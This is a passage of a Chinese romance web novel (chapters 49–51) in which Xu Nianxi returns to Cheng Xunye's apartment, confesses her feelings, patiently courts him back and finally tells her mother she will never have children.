徐念溪抿紧唇,在原地呆了会儿,又去了她租的房子,把她拿回去的东西都给搬回来。重新一点一点填满卧室。 那晚,她看着恢复原状的卧室,听着对面卧室有可能传来的呼吸声,很晚才睡。梦里,徐念溪甚至梦到了高中时的场景。有个少年,身姿挺拔修长。抱着球,总爱意气风发地笑,嚣张自恋得彻底。但热烈、坦荡,像太阳。 她总爱用艳羡的目光,关注着他。再在心里一遍又一遍,反复认识到他们之间的差距。认定他们之间毫无可能。但世界就是很奇妙,任何事情都不是毫无可能。 翌日清晨,徐念溪很早起来了,在厨房做早餐的时候,程洵也从卧室出来了,见到她,脚步顿了下,但也没停留,而是径直往外走。 他刚走没两步,徐念溪赶紧关了火,冲进卧室,拿了外套,追出去。终究是隔了点距离,徐念溪赶过来时,只看到电梯门缓缓关上。 她停在电梯门口,撑着膝盖,呼吸会儿,过急的心跳才好了一点。 49、049... 徐念溪搬回来这件事,就这么发生了。 程洵也这会儿在客厅,徐念溪在卧室里,磨磨蹭蹭了好一会儿,走出来。 看到程洵也,她先围着他转了几个圈,他的注意力全部放在电脑上,头都没抬。 徐念溪咬了咬马克杯的杯壁,又回到卧室。 过了会儿,她再打开门,程洵也依旧盯着电脑,不抬头的样子清冷疏离,让人觉得不敢接近。 半个小时后,徐念溪又一次打开房门,客厅里不知道何时,已经没有程洵也的身影了。她出了卧室,在客厅找了一圈,又回到卧室,竖着耳朵,听程洵也卧室里的动静。毫无动静。 不知道他是不在房子里了,还是她没有听到声音。 徐念溪心中有疑问,那一下午做什么事都不算安心。晚上十点,徐念溪听到开门声,匆匆下床,打开房门,只看到程洵也走进卧室的背影。 印象中,这好像是第一次,她看到程洵也的背影。男人身姿挺拔修长,肩膀很宽,走路的样子自带几分和气质契合的嚣张。但不知何时,多了几分清冷和不可接近。 徐念溪垂眸,拿手机备忘录,记录好他回来的时间。次日时,她早早地就在门口等着了。只是等了好久,依旧一无所获。 一连几天都是这样。 甚至这几天,他晚上都没回来过。 徐念溪看了他的朋友圈。只是程洵也不是个很爱发朋友圈的性格。所以朋友圈里也没有他现在的行动轨迹。 徐念溪想了想,又打开严岸泊的朋友圈。他倒是刚发了一条,他在酒吧唱歌的视频。嗓音还是一如既往的震慑人心。 徐念溪按了静音,在他的视频里,反复找了几圈,也没找到程洵也的身影。这下彻底,没有地方可以问了。 徐念溪关了手机,发了会儿呆,才慢慢地闭上眼睛。下周二的时候,徐念溪刚从振荣下班,回到房子就看见,程洵也的卧室里隐隐有光亮。 她在门口站了一会儿,确定里面就是有光亮。她松了口气,往自己卧室走的时候,恍然之间想起了,有一次,她也是这样站在他门口。那时,程洵也还打开了门,颐指气使地问她在干嘛。恍然之间,那些东西像是发生在好久之前的梦里。 程洵也回来这事,发生得悄无声息的。他不怎么出现在客厅,回他卧室的时间也完全不同。徐念溪想找他说说话,却找不到办法。或许不是找不到办法,是她从心底里也会害怕程洵也的冷淡。 就算她知道程洵也喜欢她,但她依旧胆怯。明明他说过,他喜欢主动的人,她也确实表现得很主动。但转眼之间,她又缩回去。她就那么,一次又一次地践踏他的心意。 时间就这么过去了,她回来房子里的半个月后的某一天。冯沛艺过来,刚好见到了徐念溪。一看到徐念溪,冯沛艺立马就笑了:“念溪,辛苦了。照顾你妈妈这么久,都瘦了。” 徐念溪有些生疏地叫了她一声“阿姨”,又问,“您怎么知道我在照顾我妈妈?” 冯沛艺把手里的蔬菜放下,走过来捏了捏徐念溪的胳膊:“真瘦了不少,得赶紧补补了。还不是洵也和我说的,让我这段时间不要打扰你,这不,你看我都没给你打电话。” 冯沛艺和她说了会儿话才走。她走后,徐念溪在客厅待了会儿,程洵也才回来。见到她在客厅,他对着她点了下脑袋,态度依旧寡淡。徐念溪咬了咬牙,追过去几步:“我们能谈谈吗?”他顿了瞬,撩开眼皮,看过来。眼眸带着点落地窗外火烧云的痕迹,透亮中带着几分漆黑。嗓音低沉,“谈什么?”徐念溪移开目光:“谢谢你和严岸泊还有冯阿姨说,我是回去照顾我妈妈的。”让她有了点喘息的余地,不用想办法收拾她这么一走了之之后留下来的残局。程洵也勾了下唇,语气平淡:“应该的。”他说完了这句,问:“还有别的事吗?”哪怕他们重逢后,他的态度也从来没有这样生疏客气过,徐念溪嗓子有些涩:“有。我回来住这事,会对你有影响吗?“程洵也:“没有。你想住就住。”话说到这里,好像就彻底没有说下去的必要了。程洵也看了眼卧室,要离开的意愿很强烈,徐念溪识趣地说:“没什么事了。”“好。”他进去后,徐念溪站在原地,慢吞吞地深呼吸口气。她回程洵也房子住这事的前因后果,鲁惟与也知道了。当即肯定了她的所作所为,又问她和程洵也的情况。徐念溪摇了摇头:“他不怎么理我。”鲁惟与问:“不理你多久了?”徐念溪想了想:“大概一个月了。”从她回来的那一天开始,已经一个月了。他身上竖起了一道,针对她的屏障。大看之下其实看不出来,但她仔细体会,却发现,真的有。“这么久啊,”鲁惟与帮亲不帮理,生气,“他干嘛呢,敢这样对你。”徐念溪摇摇头,说得很安静:“和他比起来,我用在他身上的时间,完全不算久。”听她这么说,鲁惟与想想也是。她虽然会觉得,程洵也可能喜欢徐念溪,可她这只是猜测。而程洵也却是真真实实地喜欢徐念溪很多年。和这么多年比起来,徐念溪这一个月,确实不算久。周末的一天,冯沛艺打电话过来,问他们有没有时间回家属院吃饭。是程洵也接的电话。他听冯沛艺这么说,应了声,又把手机给徐念溪。徐念溪听完,也同样回了有时间。马上就到中午吃饭的点。他们换好外套,坐上程洵也的车。车内,徐念溪扣了扣安全带,开始没话找话:“你现在经常去出差吗?感觉不常在房子里看见你。”程洵也没看她,看的前方:“对。”徐念溪再接再厉,“是去的平城还是南城?”“都有。”徐念溪并不放弃,“那你这个月还有出差吗?”“还有。”没话找话的尬聊中,他们到了家属院。程沓漫已经在楼下了,她好久没见到徐念溪,听到脚步声,就兴冲冲地跑过来,揽着徐念溪的腿,“姐姐姐姐”的叫不停。徐念溪抱起她,他们到了楼上,冯沛艺已经煮好饭了,见到他们来,打了个招呼,让他们吃饭。吃完饭,他们陪程沓漫到楼下空地玩了会儿。徐念溪揽着程沓漫的胳膊,让她一个人蹦蹦跳跳,至于程洵也,她往旁边看过去,程洵也正接电话,似乎是感受到她的目光,他挂了电话,走过来,“我来吧。你上去歇会儿。”徐念溪应了声,上楼之前,她回头望了一眼,就见程洵也对着程沓漫笑,还揉了揉她的脑袋。男人模样好看到近乎张扬,眼眸透亮,眼尾往上扬,里面带着笑意。是她很久没见过的场景。徐念溪眼都不眨地看了很久,忘了要上去。直到程洵也往她这边望过来,她才记起收回视线,狼狈地别过脸。徐念溪和程洵也回到房子时,已经是晚上十点了。程洵也似乎没什么进卧室的想法,徐念溪便也在客厅里打转。时不时围着程洵也说上几句话。程洵也会回,但态度和亲昵没什么关系。更多的好像是,近乎于礼貌的客气。徐念溪起了身,去厨房喝了口水,等她从厨房里出来,客厅里,已经不见程洵也的身影。下个周末的一天,严岸泊约他们和鲁惟与吃饭。吃饭的地儿是个自助烤肉店。徐念溪和程洵也分开过去的。她过去时,程洵也已经在了,见到她过来,换了个位置。徐念溪愣了下,还没跟着走过去,就被鲁惟与拉着,拿了些肉去烤。徐念溪烤肉的时候,下意识找程洵也的身影。找了几个来回,还是一无所获。严岸泊边往外看,边拍了拍程洵也,纳闷道:“你干嘛呢?念溪在找你,你没看到吗?”程洵也收回视线,“看到了。”“看到了,你不过去?”程洵也看了他一眼,嗓音平淡:“嗯,不过去。”“为什么不过去?我上次还和她说,你喜欢她,结果你就不过去了。她知道了会怎么想,要我说,你可不能欺负人家…….程洵也顿了下,看严岸泊:“你和她说了,我喜欢她?”“对啊。这不有次在路上遇到她了,刚好和她说了这个事,她还挺震惊的。这么重要的事儿,拖了这么久,你都没和她说,怎么想的……"”程洵也沉默地任凭严岸泊的叨逼叨从耳边流过,半晌才动了动身子,自嘲地勾了勾唇角。难怪,她会突然回来。原来是因为,她知道了他喜欢她。但,知道了,又怎么样。吃过烤肉,他们找了空地开始打扑克。徐念溪坐在程洵也的上位,她全程都在留意程洵也,打出来的所有牌都是帮程洵也带牌的。一次两次还不明显。三次四次之后,就一下子明显了。严岸泊抓到徐念溪把柄,嚷嚷开:“念溪,你可不能太偏心,老帮着洵也带牌是个什么事儿。”徐念溪尴尬地一点头,剩下的牌局没有再帮程洵也带牌了。只是他毕竟坐她的下面,她不怎么留意他,也能猜测到他到底缺什么牌。又一次被严岸泊怀疑地看了一眼,徐念溪还没说话,程洵也丢了牌,起了身。“我去休息会儿,你们玩。”徐念溪连忙跟着起来,追着他跑过去。程洵也没有等她,她跑得就很狼狈,好不容易程洵也停步,徐念溪顾不上喘息,抬了脑袋,看程洵也。“不好意思,我不是故意的,我只是手里刚好有你要的牌,然后那个牌,我也不需要,所以才打出去的。”程洵也没看她,看的是天空,他嗓音很安静,“徐念溪。”“嗯?”“你不需要做这一切,虽然我喜欢你,但是这与你无关。你不需要觉得愧疚,也不用对我做这些。”不论是这些天找他说话,还是试图向他靠近,都没有任何必要。他也不知道,她这么在他身上浪费时间。他这话一出,徐念溪有些手足无措,“我不是出于愧疚才做这些的,我只是…”她的话还没说完,程洵也打断,他看着她:“只是什么?难不成你也喜欢我吗?”他的眼眸里倒映出一个小小的她,不知道是徐念溪看错,还是程洵也眼中真的有这种情绪,她感觉他是黯淡的,连带着他眼中的她也是没有颜色的。所以这话,他说了,却好像不期待得到任何回答一样。不知何时,刮起了一阵风。把一切吹得摇摇欲坠。徐念溪胸口堵得厉害,咬紧唇,艰难地说出口:“我确实喜欢你。”程洵也看了她一会儿,出乎意料的笑了。笑得幅度很大,像是觉得这是个笑话一样。好半晌他收敛了笑容,她就感觉,他眼眶有点红。在这种不算明亮的夜色中,像一根针一样,戳到她身上。程洵也嗓音很平静,只带着几分刚笑过的哑,几乎不带任何情绪。“就算你真的喜欢我,又怎么样。你该走还是会走,好像从来都没有考虑过我一样。”高中的时候,是这样。重逢了之后,也是这样。他不是个在感情上很聪明的人,他喜欢一个人就是直来直往的、坦坦荡荡的,全世界都会知道。他希望他喜欢的女孩永远高兴,永远快乐,希望她在任何时候都能想起他。可她却不是这么想的,她好像短暂地出现在他的生命中,留下一点东西,转身就走。于是,他学会了小心翼翼、学会了患得患失、学会了有些事就是不会得偿所愿。也被迫学会了,不做期待。所以现在,她说她喜欢他,可能比起开心和被惊喜砸中,他更多的好像是,有点疲惫了,也不愿意去思考她这句话是真是假。程洵也走后,徐念溪愣在原地,愣了好长一段时间,酸涩和后悔像什么毒药一样浸泡着她。是她不好,明明喜欢他,明明他从头到尾的态度也和拒绝没有关系。可她依旧搞砸了这一切。 徐念溪回来时,时间已经不晚了。 鲁惟与拉着她坐下,看她神色:“怎么了?溪溪,不开心吗?” 徐念溪摇了摇头,声音很轻:“没有不开心。” 只是觉得她活该。 很活该的那种。 所以才熊把程询也那么个骄傲器张的人,欺负得委屈快要溢出来了一样。 只是觉得她活该。 很活该的那种。 所以才能把程洵也那么个骄傲嚣张的人,欺负得委屈快要溢出来了一样。 50、050 ... 从自助烤肉店回来,那个晚上,徐念溪拿了笔记本电脑出来,建立了一个空白Excel表,命名为《程洵也追求计划表》。 她花了一晚上时间,把能想到的所有方法都写了上去,再把不合适的方法剔除。 最后,零零碎碎的,留下了一大页。分为日常篇、进阶篇、和最后的升华篇。 做完后,徐念溪盯着这个表发了五分钟的呆。 她其实不能保证这些东西一定有效。 但,一直以来,都是程洵也朝着她,不断前进。 那现在就该轮到她朝着他努力了。 有了计划表之后,徐念溪没有像前段时间一样,总时常试着围着程洵也转,也没有尝试和他说话。 有些东西,不是简简单单的说点什么,就能弥补的。 关键要看行动。 她去了租的房子一趟,和房东说了,她要退租。付了违约金之后,徐念溪带着剩下的零星一点东西,搬回了程洵也的房子。不给自己留任何退路。 再从日常篇入手。 早上,她出门时,时不时就能遇到程洵也,她安安静静地和他说声早。 他也会“嗯”一声。 他出门后,徐念溪才会跟着出门。每天下午,她准时从振荣下班,途径一家花店,买一束花,插好后放在茶几上。天接着一天。 晚上,她出卧室到厨房喝水时,很偶尔的机会能看到程洵也。她便会和他说一声晚安。 到西津最冷的冬天时,徐念溪的计划表也进行到进阶篇了。她提前去了商场买了冬天需要的衣物。还把沙发抱枕的款式换成了毛绒绒款的。 她做这一切时,都没背着程洵也,甚至她还会主动询问程洵也的意见。程洵也每次都只是“嗯”一声,随便她处理一样。 渐渐的,徐念溪胆子也大了点。会给餐厅的椅子增加几个软趴趴的毛绒靠背,也会把沙发铺上一层姜黄色的毯子,甚至程洵也低头看了眼,玄关的地毯也换成了一个,财神爷形状的。Q版的财神爷,笑呵呵地拿着个元宝。长得很像徐念溪的头像。 见他看玄关地毯,徐念溪放了马克杯,跑过来:“不好意思,我看地毯有点脏了,所以自作主张的,换了一个新的。”程洵也收回视线,并不在意这一切,“你想换就换,不用和我说。”有了程洵也这句话,徐念溪胆子更大了一点。 于是有一天,程洵也回来,还在客厅发现了个小小的马克杯收纳柜。就放在咖啡角,里面摆满了徐念溪的各种各样的马克杯。放在最上面的,是他送给她的曲奇杯。程洵也收回视线,没再多看。 只是他不看,冯沛艺可不会不看。冯沛艺有次过来,就看见原本没多少东西的客厅,不知道什么时候开始,多了不少毛绒绒的五颜六色的东西。甚至连餐桌边角,都被套上了保护套。再仔细一看,都是女生会喜欢的款式和颜色。 冯沛艺忍不住拍了拍程洵也,笑眯眯的:“念溪这会儿总算有了,要在这儿长住的架势。”程洵也不说话,只转移话题:“妈,爸还在家里等你。” 冯沛艺听出来了他催促她离开的意思,瞪了他一眼,觉得他很欠揍。但时间确实不早了,她没有久待,很快离开了。她走后,程洵也也进了卧室。 他进去没多久,就听到客厅里有细细密密的脚步声,很急切一样。他推开门看,就见是徐念溪。她正在搬客厅的沙发,似乎想给它挪个位置一样。 程洵也出来了,有他帮忙,沙发很快被移好,徐念溪和他道了谢。等第二天,程洵也出来的时候,就见沙发垫,又从姜黄色的变成了整片整片的草绿色了,抱枕也从之前的方方正正,变成了粉色小花状。 这一切都像什么专属于徐念溪的换装小游戏一样。 西津最冷的一天。徐念溪原本是准备,是去买新的沙发垫的。可没想到,在振荣附近的垃圾桶里,捡到了一只小狗。估计是刚出生不久,小狗眼睛都睁不开,只很虚弱地拿舌头舔徐念溪的指尖。 徐念溪给它买了奶粉,喂它喝了后,又抱着它,和姜颂一起在附近问了一圈,有没有人想领养小狗。但一直到很晚,都没人要。 告别了姜颂,徐念溪给程洵也打了个电话。"喂,怎么了?"他的声音通过手机传过来,有了和平时不一样的金属颗粒感。 徐念溪和他打商量:“我捡到了一只小狗,可以带回去养几天吗?等找到了领养人,我就把它送走。”怕他不答应,徐念溪赶紧说:“我会好好照顾它的,不会让它把家里搞乱的。” 良久,程洵也应了声:“行。”徐念溪买好了狗粮、狗窝,抱着小狗回了家。程洵也已经在客厅里,见她把小狗往阳台放,又见小狗还很小,道:“还是放客厅吧。” 徐念溪便在沙发旁边,给它放了狗窝,又按照网上说的方法,拿温水,给它化开了狗粮。小狗这时才动了动身子,吧嗒吧嗒着嘴,开始吃起了狗粮。 小狗在客厅里住下来后,徐念溪开始给它找主人。在小红书、微博等各大软件上,都发了狗狗领养的帖子,只是不知道是她运气不太好,还是怎么样,发出去的帖子,都无人问津。 小狗长得很快,很快便从站都站不稳,长成了能跑能跳它好像记得是徐念溪,把它抱回来的,徐念溪一回来,它就冲着徐念溪摇尾巴。于是程洵也回来时,常常能看到,徐念溪和小狗坐在一起。她脸上带着点笑意,这段日子经常有的笑意。 哪怕他从来不给她一个笑脸,她也会安安静静地,时不时地对他笑一下。像是这样已经很满足了一样。 小狗也认识程洵也似的,看到他回来,很快从徐念溪的身边跑到他身边,摇着尾巴,不停地蹭他的腿。徐念溪想把小狗抱回来,小狗却以为她和它玩捉迷藏似的,不停地围着程洵也转圈圈。最后还是程洵也弯下身,拎起小狗的后颈脖,放进徐念溪的怀里。 因为有接触,所以难免会碰到彼此。徐念溪看着被他不小心碰到的指尖,愣了下。程洵也反应过来,收回了手:“不好意思。” 徐念溪笑了笑,把无端有点发麻的手,藏在背后:“没事。”有了小狗在,他们之间的接触,从每天的零星几点,到时不时的徐念溪可以去程洵也身边把它捉回来。 小狗不知道是发现她比较好说话,所以完全不怕徐念溪,每次徐念溪捉它,它就像和她玩游戏一样,带着徐念溪不停地到处跑。但在程洵也面前,它又挺乖的。 所以每次还得程洵也出手,把小狗抓住还给徐念溪。因为这些接触,程洵也和她总算没有之前的生分了。甚至还会围绕着,小狗的事说上几句。 有时候,徐念溪没有功夫照顾小狗,是程洵也,给它喂的狗粮。徐念溪有一次刚好从卧室里出来,就看到,程洵也摸着小狗胖乎乎的肚子,脸上带着笑意。 一个月后,小狗找到了领养人,是一个女生。 家里有一条金毛,还想再养一条小狗。 是徐念溪和程洵也一起把小狗送过去的。女生很开朗,围着小狗爱不释手,还答应徐念溪一个月给她发一条小狗的视频。 从女生家里离开,徐念溪心情有些低落,眼睑垂着,连笑容都没了。程洵也看她两眼,开口:“现在还可以反悔。”徐念溪深呼吸一口气,摇头:“不反悔。” 女生一看就是个很会养宠物的性格,小狗在她那里一定不会受委屈。 而且,徐念溪本就是一个情绪贫瘠的人。就那么多,分出去的对象越多,她能给到程洵也身上的就越少。而她,不愿意给程洵也很少。 回到家,没有小狗围在身边,徐念溪一个人安安静静地坐在原来的位置,神色有些孤单。犹豫了几秒,程洵也没有回卧室,而是坐在客厅,和徐念溪一起看完了电视。 这种情况持续了好几天。徐念溪也能感受到他态度的些微松动,但她依旧没像之前,立马凑到他周围去。而是像之前一样。 见她情况还好,程洵也便不在经常出现在她的跟前。他们还是保持着,日常篇和进阶篇相互交织的相处方式。 送走小狗后的第一个周末,徐念溪去了约好的纹身店,在手腕围了纹身。 纹完纹身之后,徐念溪回到程洵也的房子里。程洵也也在,看见她回来,就道:“严岸泊生日,问你去吗?”徐念溪点头。 他们到了地儿,是一个酒吧。这会儿人很多,徐念溪花了一点时间,才找到了鲁惟与。鲁惟与看到她,就笑弯了眼,提高嗓门:“溪溪,你来了,来。我们喝酒。” 被鲁惟与拉着喝了几杯之后,徐念溪下意识找程洵也,他正在严岸泊旁边,低着头,不知道和他说什么。 似乎是感受到她的目光了,程洵也抬起脑袋,隔着人群,看过来。徐念溪和他对视上,对着他笑了下。程洵也收回目光,神色未变。 这一切被鲁惟与看到,她纳闷地问:“你们现在怎么回事?怎么感觉比之前还生分了。”徐念溪摇头:“不是生分。”而是认真。她正在试着,用用自己的方式,打开自己的同时,融入到程洵也的生活里。她想告诉他,她这次不是突然的,而是真的想好了,她很认真,从来没有过的认真。 鲁惟与没太听懂,不过看徐念溪心里自己有打算,便也没有多问。给严岸泊送了生日礼物之后,严岸泊拉着他们,喝了好几杯酒。又吃了生日蛋糕,等一切弄完之后,已经是晚上十点。 徐念溪和鲁惟与都有点醉意,送走鲁惟与后,徐念溪找到程洵也,还没说两句,脚步就踉跄下。 出去是程洵也背她的。徐念溪躺在他的背上,热热的,带着很明显的骨凸痕迹。鼻尖是他身上的柑橘味。 徐念溪几不可闻地蹭了下,又理智回笼,出了声:“程洵也。”他脚步一顿,扭头看她。 “怎么了。” “我可以自己走的。”程洵也便放下了她他们一起出去,走到某个地方,月光洒下来。徐念溪开口:“我一直没和你说一句对不起。”"为什么要说这个?" 徐念溪笑了下,嗓音有些涩:“我其实是个很糟糕的人,我也不认为我能得到很好的东西。所以发现你可能喜欢我之后,做的第一件事情,永远都是,离你远一点。这样,我才不会自卑,才不会觉得我很糟糕。”不论是高中,还是现在,她永远都是这样。 程洵也脚步顿住,似乎想说话,徐念溪先道:“你先听我讲完。” 程洵也便没说话了,他们继续往前走,徐念溪接着道:“但我没想到,你竟然是真的会喜欢我。” 她嗓音中还有几分当时的不可置信,但很快她又笑了:“那个时候,我真的觉得,我何德何能,简直不敢相信。可是,这段时间以来,可能是你喜欢我这件事带来的。我突然感觉,我其实好像是一个还不错的 人。” 他对她的喜欢,从来都不是简简单单的喜欢。而是在冥冥之中,告诉她。她这么一个人,也是有人喜欢的。 还是一个,很好很好的人。 她忍不住弯了弯眉眼:“用你的逻辑来说,你的眼光很好的,怎么会喜欢一个不好的人。” “我有礼貌,所以我每天和你打招呼。我有爱心,所以捡到小狗后,我会照顾它。我也开始变得热爱生活,所以我开始,经常装扮这个家。” 程洵也看着徐念溪,在他的目光里,徐念溪深呼吸一口气,“所以我其实有在,努力地打开自己,也有在努力地把你和你身边的一切都纳入到我的未来。所以….…”"如果可以的话,你可不可以,再等我一段时间。" 她会向他证明,这次,她绝对不会再轻易地丢下他,一个人想走就走。她也会拼命告诉自己,她是有资格享受和得到世界上任何好东西的。 她这话说完,程洵也没动了。良久后,他突然往前走。 徐念溪不明所以,赶紧追了几步。只是她本来就有点晕乎,这么一着急,整个人就往前扑,差点儿摔在地上。 没摔倒是因为,程洵也接住了她。程洵也质问她:“你追我干嘛?”徐念溪被他扶着:“就,有点不由自主。” 程洵也没说话了,扶着她往车里走。某个瞬间,可能是车启动的那一刻。时间被拉慢,慢到某个极值。 程洵也突然开口了,他说:“可以。”徐念溪望过来,程洵也很不耐烦似的,盯着前方的路,一字一顿,“我说我可以等你一段时间。” 他话说完,徐念溪花了几秒,反应过来,眼眸慢慢睁大。几秒后,她轻咳一声,把涌上来的酸涩压下去:“谢谢你,我以后会对你好的,也会很认真很认真地追求你的。”她可能还是有点幸运的,所以她这么对待程洵也之后,他依旧愿意,再等她一次。 程洵也这会儿有精神了,又像什么苛刻领导一样,追着她问:“怎么好?有多好?”徐念溪没料到还有这么一句话,低头努力想。 光影流转的空隙,他扭头看了她一眼。她坐在他的副驾驶上,侧脸柔和,两腮微微有些软肉,后脑勺很圆,比别人圆很多很多。从他第一次留意她就发现了这件事。 很小的时候,程澜教育他,说,人不能两次踩进一条河里两次,这叫不长教训,是很笨的人才有的做法。但。 没人说过,人不能踩进一条河里三次,所以第三次,他又进来了。 51、051 ... 既然程洵也这么说了,徐念溪趁着这段时间,努力地追求程洵也。只是程洵也显然不好追,他虽然还愿意给她机会,但完全不像之前一样,经常出现在她眼前。从这里就可以看出,程洵也之前有多么喜欢她,要不然他们甚至都找不到那么多相处机会。 徐念溪好不容易等到程洵也回来,没等他放钥匙,就凑到他跟前,仰起脑袋看他,很主动道: “那个,我想约你出去,可以吗?” 程洵也看过来,没等他说别的,徐念溪立马开口:“我知道你很忙,我得排队,但无论你什么时候有时间,我都可以。” 还想说他可不是这么好约的程洵也被她这招以退为进弄得愣了下,才道:"下下周吧,周末。"要等半个月的时间,但徐念溪很满足似的,笑眯眯地点头:"好,那就定下了。" 她这样,程洵也更不舒服了,移开视线,成心抬杠:“谁说定下了,万一谁忘了怎么办。”徐念溪一想也是这样,毕竟这么久,她皱了下眉:“那我提醒你吧。”程洵也想了想,很勉为其难似的:“行吧。” 徐念溪说提醒便是提醒,从定下这个事开始,每天定时定点给程洵也发消息。也不管他还在南城出差。徐念溪:还有十四天。 程洵也第一次看到的时候,还有些懵:什么东西?徐念溪立马回复了:离我约你的时间还有十四天。这个程洵也倒是知道,但是他没想到徐念溪会有这么大的阵仗,想起他确实答应过徐念溪,勉强才“行吧”了一声。 然后每天都能从徐念溪微信里看到这么个东西。程洵也:1等他回复完,徐念溪立马凑过来,开始和他说这说那的。虽然很是笨拙,不像是个很会追人的样子,但起码,很符合她说的,她在追他。 程洵也没再看了,因为严岸泊过来了,看他那样儿,就道:“不就是和念溪说开了吗?瞧你那样儿,一下子高兴了。之前还说什么,总学不会对一件事抱有期待。”他刻意学程洵也的语气,阴阳怪气。程洵也听出来了,看了他一眼,因为心情还不错,没说话。 严岸泊问得好奇:“那你和念溪现在怎么回事?”程洵也想了想,回得很低调:“没怎么样,只是她说,她会认真追我。”闻言,严岸泊大吃一惊,眼睛瞪得很大,完全不可思议,“你还需要追,你不是念溪勾勾手指,你就凑过去了吗?“ 程洵也:“我又不是狗。”而且,可能是之前都太轻松了,所以徐念溪才学不会珍惜。 严岸泊一言难尽地看他,那眼神好像在说,你怕不是对自己有什么误解。……." 离约会吃饭,还有一天的时候,程洵也彻底结束出差,也不像之前一样,时不时才能回西津一次。徐念溪一见到他眼睛就一亮,跑过来,跟在程洵也身边,一会儿给他拿拿外套,一会儿给他倒水。很是殷勤。 见到程洵也坐好后,她又凑过来,拉住程洵也的手,把他拉到阳光房。他出差这么久,阳光房里的多肉一点都没有变瘦弱,甚至还变多了好几盆。 尤其是徐念溪之前给他的猫爪多肉,被分出来了几盆。还被徐念溪很心机的放在,阳光房的最中央。一眼就能看到。 程洵也收回目光,先看了眼徐念溪拉着他手腕的手,徐念溪反应过来,放了他的手腕,耳朵有些红,轻咳了一声:“不好意思。”程洵也没计较,又看多肉:“你分盆的?” 徐念溪眼巴巴地,有点像求夸奖的表情,“嗯。”程洵也却没让她如愿,态度平淡:“知道了。”“…….” 隔天,程洵也起来没多久,房门被敲响。他打开门,就见徐念溪站在门口,观察他一会儿,收回视线,“我快准备好了。”程洵也也差不多了,出了卧室,刚关上房门,徐念溪就匆匆交代句。"等我一下,我去一下卧室。" 没半分钟,她又出来了,穿了件和程洵也外套颜色很类似的大衣。顶着程洵也看过来的目光,徐念溪神色镇定,直言不讳:“我想和你穿情侣服。”程洵也被她这话语弄沉默了。 他倒是没想到,徐念溪追求人是这么个风格的。比起之前的掖掖藏藏的,她现在好像是直白地把自己的所思所想都摊在他面前。 吃饭的地儿是徐念溪半个月之前就定好的,西津一家网红餐厅。能看到西津的江景和渡江大桥。 他们过去时,正好是中午。天气很好,阳光洒在江面上,徐念溪大致知道程洵也的口味,点的东西都是他爱吃的。果然菜上来,程洵也脸色虽然没变,但肉眼可见的,他是满意的。 等吃完了饭,徐念溪拉着他去了天文馆。她还记得,在夏熙的视频里,他也去过天文馆。在一闪而过的视频里,她记得他看着宇宙穿梭展厅里的天体,神情安静内敛,不知道在想什么。 天文馆里,科技展台。星云遍布穹顶,星体色彩瑰丽浪漫,随着时间流逝,缓慢划过星际。时不时还有球体爆炸开来,那一刻的壮美简直是没有话语能描述的。但马上宇宙又变得安静。亘古不变一样。 任何烦恼,任何情绪在这等巨物面前,渺小得都好像一抹尘埃。 徐念溪看着眼前的一切,难掩震撼。程洵也眼眸里倒影着球体的颜色,将他透亮的眼眸染出几分别样的色彩。 徐念溪和他静静地看了会儿,出了科技展台。那种壮美才渐渐褪去,像回到了平常的人间。 徐念溪侧过脸,看程洵也:“你刚刚在想什么?”程洵也看过来:"什么?"“就你在科技馆的时候,好认真。” 程洵也看她:“你想知道?”“嗯嗯。” 程洵也眼皮微撩,说得缓慢:“"也没什么,只是有时候会觉得有些东西就是不能相交,哪怕经过那么漫长的时间,还是这样。”无论是宇宙中的星体,还是他和徐念溪。 徐念溪像是感觉到他的意思了,剩下的路没有再说话。 回到家时,时间已经不晚了。徐念溪把包放进卧室,又去客厅找程洵也。他正窝在沙发上,看平板。电视机开着。 徐念溪凑过去,坐在他身边。他不怎么抬头,也不怎么理她。很显然,他愿意等她,也愿意给她追,但也依旧态度不算热情。 徐念溪坐了一会儿,就起身去了卫生间看,生理期来了。她处理好,又回到程洵也身边坐下。 生理期第一天,她一般都是浑身无力的。坐了一会儿,人就有些晕乎乎的,忍不住闭上了眼睛。 程洵也就感觉身边有一点轻微的呼吸声,侧脸一看,徐念溪已经睡着了。程洵也拍了拍她:“回房间睡。” 徐念溪本就没有睡熟,被他拍了拍,很快就醒了。只是也没回房间,还是坐在他身边,脸埋在胳膊里,神色说不上好,脸色有些苍白。 程洵也以为她是因为他的冷遇不开心了,“啧”了声,丢了平板,叫了声。“徐念溪。” 徐念溪仰起脑袋看他。“怎么了?” 程洵也表情有些不满,但程度不重,说:“你是不是因为我不理你,不开心了?”徐念溪愣了下,摇头:“没啊。” 程洵也语调怀疑:“真的没有吗?” 他一副“我可是给过你机会,你要说实话”的语气。 徐念溪老实点头:“真的没有。而且,我也知道,之前的事你比我更不开心。”她现在得到的种种,和他对比起来,已经几不可闻了。 程洵也看她会儿,确定她不似说谎,才收回视线,闷声。“你知道就好。” 徐念溪忍不住笑一下,蹭了下自己柔软的毛衣袖口,“我知道的。”所以她现在,才会加倍地对程洵也好。恨不得把所有的东西都给他。 西津雪越下越大,徐念溪去了王君兰家。王君兰身体已经好的差不多了,除了留有一道伤口以外,并没有其他反应。 徐念溪检查完,王君兰立马絮絮叨叨开。“我说了没事就是没事,你老操心干嘛。”“有这闲工夫,还不如和小程生个孩子。”“别人家的孩子,孩子都生了几个了。你和小程结婚快一年了,怎么就没有半点动静,真不知道是你还是小程有问题。“ 徐念溪安安静静地听了一会儿,等王君兰停了嘴,才第一次在王君兰面前说了真心话。“妈,我不会生孩子的。这辈子,我都不会成为一个母亲。” 王君兰嗓音顿住,看着徐念溪的目光,不像在看自己的女儿,反倒像在看一个怪物。片刻后,她深呼吸一口气,反应过来了,语调发沉,一字一顿:“徐念溪,你说什么?你再说一遍。” 徐念溪照例会为她的步步紧逼,而感觉呼吸沉重,好像站在悬崖边上。但她摸到了手腕那一圈纹身,却好像燃起了一腔孤勇。那点孤勇好像星星之火,支起她空荡的皮囊。徐念溪挺直背脊,吐字清晰:"妈。我说我这辈子永远不会成为一个母亲。" 她态度如此坚决,王君兰神色更不好,眉宇之间皱起的沟壑深得吓人。脱口就是劈头盖脸的责骂。 “徐念溪,我看你是疯了?这么自私。哪有女人不生孩子的,这么多年你读书读傻了吧,我要去你学校问问,哪个老师教你的,当女人不生孩子。”“没有孩子,你老了怎么办,以后怎么生活,别人怎么看你?你是不是诚心让我不舒服?你要是真不生孩子,以后你就当没有我这个妈。” 又是这一套。 永远都是这一套。 一旦王君兰有什么不顺心,她就会听到这些话。 